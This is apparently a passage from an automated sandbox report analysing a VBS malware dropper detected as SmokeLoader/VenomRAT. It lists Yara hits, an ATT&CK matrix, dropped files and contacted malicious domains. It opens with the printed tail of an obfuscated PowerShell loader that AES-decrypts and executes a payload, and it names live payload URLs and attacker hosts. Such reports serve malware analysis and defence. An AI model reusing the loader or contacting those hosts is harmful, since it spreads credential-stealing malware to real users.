d89ab58f6811a166d5a633234208a16f44c7e1fda1ca5781750d0fd0698b225a66882e2bc56217a52ccbf79e80ed2abc2cdc8039511450af5b112eadda510ce1eed99d3ebfdad959ab50b58880b9e56ec313c6b087c011b3da810c2a5e3c6a90c69061b7b3eced35c713c11874f6763fa79f0691d4ff8b99159bf1a716f811e9cbb8f818216b8aef751bf044fbfe9daa0cb892645c05f5d407efed774ba5689a68fe5547020c0fe72f39d5aca4');$mzbmz=-join [char[]](([security.cryptography.aes]::create()).createdecryptor((kzvl('72786673574b4c516874716d49544e50')),[byte[]]::new(16)).transformfinalblock($qiyjc,0,$qiyjc.length)); & $mzbmz.substring(0,3) $mzbmz.substring(3)			Jump to behavior

Source: explorer.exe, 00000005.00000000.1619596278.0000000001090000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000000.1622386973.000000000936E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1620621433.00000000044D0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000005.00000000.1619262177.0000000000A28000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1619596278.0000000001090000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000005.00000000.1619596278.0000000001090000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: 0Program Manager
Source: explorer.exe, 00000005.00000000.1619596278.0000000001090000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000005.00000000.1622386973.000000000936E000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd]1Q

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected SmokeLoader

Source: Yara match	File source: 4.2.putty.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.edrecib.5c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.putty.exe.600000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.edrecib.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.putty.exe.5f0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.edrecib.5b0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.1638027397.0000000000731000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1858830240.0000000000981000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1636745792.0000000000600000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1568194811.0000000000600000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.1807981755.00000000005C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1858680191.00000000005C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected SmokeLoader

Source: Yara match	File source: 4.2.putty.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.edrecib.5c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.putty.exe.600000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.edrecib.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.putty.exe.5f0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.edrecib.5b0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.1638027397.0000000000731000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1858830240.0000000000981000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1636745792.0000000000600000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1568194811.0000000000600000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.1807981755.00000000005C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1858680191.00000000005C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	211 Scripting	Valid Accounts	1 Command and Scripting Interpreter	211 Scripting	312 Process Injection	11 Masquerading	OS Credential Dumping	411 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	131 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	13 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 PowerShell	Logon Script (Windows)	Logon Script (Windows)	312 Process Injection	Security Account Manager	3 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Hidden Files and Directories	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	113 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.vbs	21%	ReversingLabs	Script-Macro.Trojan.VenomRAT

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\putty.exe	100%	Avira	HEUR/AGEN.1306978
C:\Users\user\AppData\Roaming\edrecib	100%	Avira	HEUR/AGEN.1306978
C:\Users\user\AppData\Roaming\putty.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\edrecib	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://spotcarservice.ru/fdjs	0%	Avira URL Cloud	safe
https://android.notify.windows.com/iOSA4	0%	Avira URL Cloud	safe
https://powerpoint.office.comer	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88c	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/yumba/pu	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/yumba/p	0%	Avira URL Cloud	safe
http://constractionscity1991.lat/	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdj	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/yumba/putty.	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/yumba/putty.ex	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88	0%	Avira URL Cloud	safe
http://spotcarservice.ru/f	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjsk	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cv	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/yumba/putty.exep	0%	Avira URL Cloud	safe
http://spotcarservice.ru/	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/yumba/put	0%	Avira URL Cloud	safe
https://android.notify.windows.com/iOSd	0%	Avira URL Cloud	safe
http://spotcarservice.r	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf	0%	Avira URL Cloud	safe
http://connecticutproperty.ru/	0%	Avira URL Cloud	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gF9k	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/	0%	Avira URL Cloud	safe
http://ns.adobeS	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf8	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/yumb	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/yu	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/yumba/putty.exe	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/y	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/yumba/putt	0%	Avira URL Cloud	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gKBA-dark	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/yumba	0%	Avira URL Cloud	safe
https://word.office.com48	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/yumba/putty	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fd	0%	Avira URL Cloud	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gKBA	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/yumba/	0%	Avira URL Cloud	safe
http://restructurisationservice.ru/	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/yumba/putty.e	0%	Avira URL Cloud	safe
http://spotcarservice.ru/fdjskf88cvt/yum	0%	Avira URL Cloud	safe
http://ccert.coml07	0%	Avira URL Cloud	safe
http://spotcarservice.ru	0%	Avira URL Cloud	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gF9k-dark	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
constractionscity1991.lat	94.156.177.51	true	false	high
restructurisationservice.ru	94.156.177.51	true	false	high
spotcarservice.ru	94.156.177.51	true	false	high
connecticutproperty.ru	109.70.26.37	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://constractionscity1991.lat/	true	Avira URL Cloud: safe	unknown
http://connecticutproperty.ru/	true	Avira URL Cloud: safe	unknown
http://spotcarservice.ru/fdjskf88cvt/yumba/putty.exe	true	Avira URL Cloud: safe	unknown
http://restructurisationservice.ru/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.msn.com/v1/news/Feed/Windows?	explorer.exe, 00000005.00000000.1622386973.00000000090DA000.00000004.00000001.00020000.00000000.sdmp	false		high
https://powerpoint.office.comer	explorer.exe, 00000005.00000000.1624538584.000000000BBB0000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://android.notify.windows.com/iOSA4	explorer.exe, 00000005.00000000.1624538584.000000000BCA8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.ru/fdjskf88c	powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT	explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjs	powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/sports/other/simone-biles-leads-u-s-women-s-team-to-seventh-straight-world	explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 00000005.00000000.1622386973.00000000091FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000002.00000002.1561572514.0000022BE04F1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjskf88cvt/yumba/pu	powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/weather/topstories/first-map-of-earth-s-lost-continent-has-been-published/	explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjskf88cvt/yumba/putty.ex	powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.ru/fdjskf88cvt/yumba/p	powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.ru/fdjskf88cvt/yumba/putty.	powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/politics/kinzinger-has-theory-about-who-next-house-speaker-will-be/vi	explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://excel.office.com	explorer.exe, 00000005.00000000.1624538584.000000000BBB0000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/money/personalfinance/the-big-3-mistakes-financial-advisors-say-that-the-1	explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/money/careersandeducation/student-loan-debt-forgiveness-arrives-for-some-b	explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.micro	explorer.exe, 00000005.00000000.1621501384.0000000007720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000000.1619859258.0000000002C80000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000000.1621487321.0000000007710000.00000002.00000001.00040000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/recordhigh.svg	explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdj	powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wns.windows.com/EM0	explorer.exe, 00000005.00000000.1624538584.000000000BDF5000.00000004.00000001.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjskf88	powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/weather/topstories/us-winter-forecast-for-the-2023-2024-season/ar-AA1hGINt	explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjskf88cvt	powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjskf88cv	powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.ru/	powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000002.00000002.1561572514.0000022BE04F1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.1578053595.0000022BEE91C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1561572514.0000022BE04F1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjsk	powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://upload.wikimedia.org/wikipedia/commons/thumb/8/84/Zealandia-Continent_map_en.svg/1870px-Zeal	explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/money/markets/costco-is-seeing-a-gold-rush-what-s-behind-the-demand-for-it	explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.microsoft.c	explorer.exe, 00000005.00000000.1622386973.0000000009237000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/weather/topstories/stop-planting-new-forests-scientists-say/ar-AA1hFI09	explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.1561572514.0000022BDE8B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://android.notify.windows.com/iOSd	explorer.exe, 00000005.00000000.1624538584.000000000BCA8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.ru/f	powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.com/weathermapdata/1/static/weather/taskbar/animation/WeatherInsights/WeatherInsi	explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjskf88cvt/yumba/putty.exep	powershell.exe, 00000002.00000002.1561572514.0000022BDEAD3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.ru/fdjskf88cvt/yumba/put	powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.r	powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.1578053595.0000022BEE91C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1578053595.0000022BEEACA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1561572514.0000022BE04F1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjskf	powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/money/personalfinance/the-no-1-phrase-people-who-are-good-at-small-talk-al	explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gF9k	explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000002.00000002.1561572514.0000022BDEAD3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000002.00000002.1561572514.0000022BDEAD3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjskf88cvt/y	powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.ru/fdjskf88cvt/	powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.ru/fdjskf88cvt/yu	powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000002.00000002.1561572514.0000022BE04F1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT-dark	explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjskf8	powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://ns.adobeS	explorer.exe, 00000005.00000000.1620332026.0000000004405000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://outlook.com	explorer.exe, 00000005.00000000.1624538584.000000000BBB0000.00000004.00000001.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjskf88cvt/yumb	powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.ru/fdjskf88cvt/yumba/putt	powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000002.00000002.1561572514.0000022BDEAD3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gKBA-dark	explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.ru/fdjskf88cvt/yumba	powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.msn.com/v1/news/Feed/Windows?activityId=0E948A694F8C48079B908C8EA9DDF9EA&timeOut=5000&oc	explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fd	powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://android.notify.windows.com/iOS	explorer.exe, 00000005.00000000.1624538584.000000000BCA8000.00000004.00000001.00020000.00000000.sdmp	false		high
https://word.office.com48	explorer.exe, 00000005.00000000.1624538584.000000000BBB0000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://spotcarservice.ru/fdjskf88cvt/yumba/putty	powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp	explorer.exe, 00000005.00000000.1624538584.000000000BCA8000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the	explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjskf88cvt/yumba/	powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/MostlyClearNight.svg	explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com/	explorer.exe, 00000005.00000000.1620819435.000000000702D000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gKBA	explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000002.00000002.1561572514.0000022BDE8B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/sports/other/washington-state-ad-asks-ncaa-for-compassion-and-understandin	explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://spotcarservice.ru/fdjskf88cvt/yumba/putty.e	powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark	explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com:443/en-us/feed	explorer.exe, 00000005.00000000.1620819435.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://spotcarservice.ru	powershell.exe, 00000002.00000002.1561572514.0000022BDEAD3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1561572514.0000022BE04C7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1561572514.0000022BE03FC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
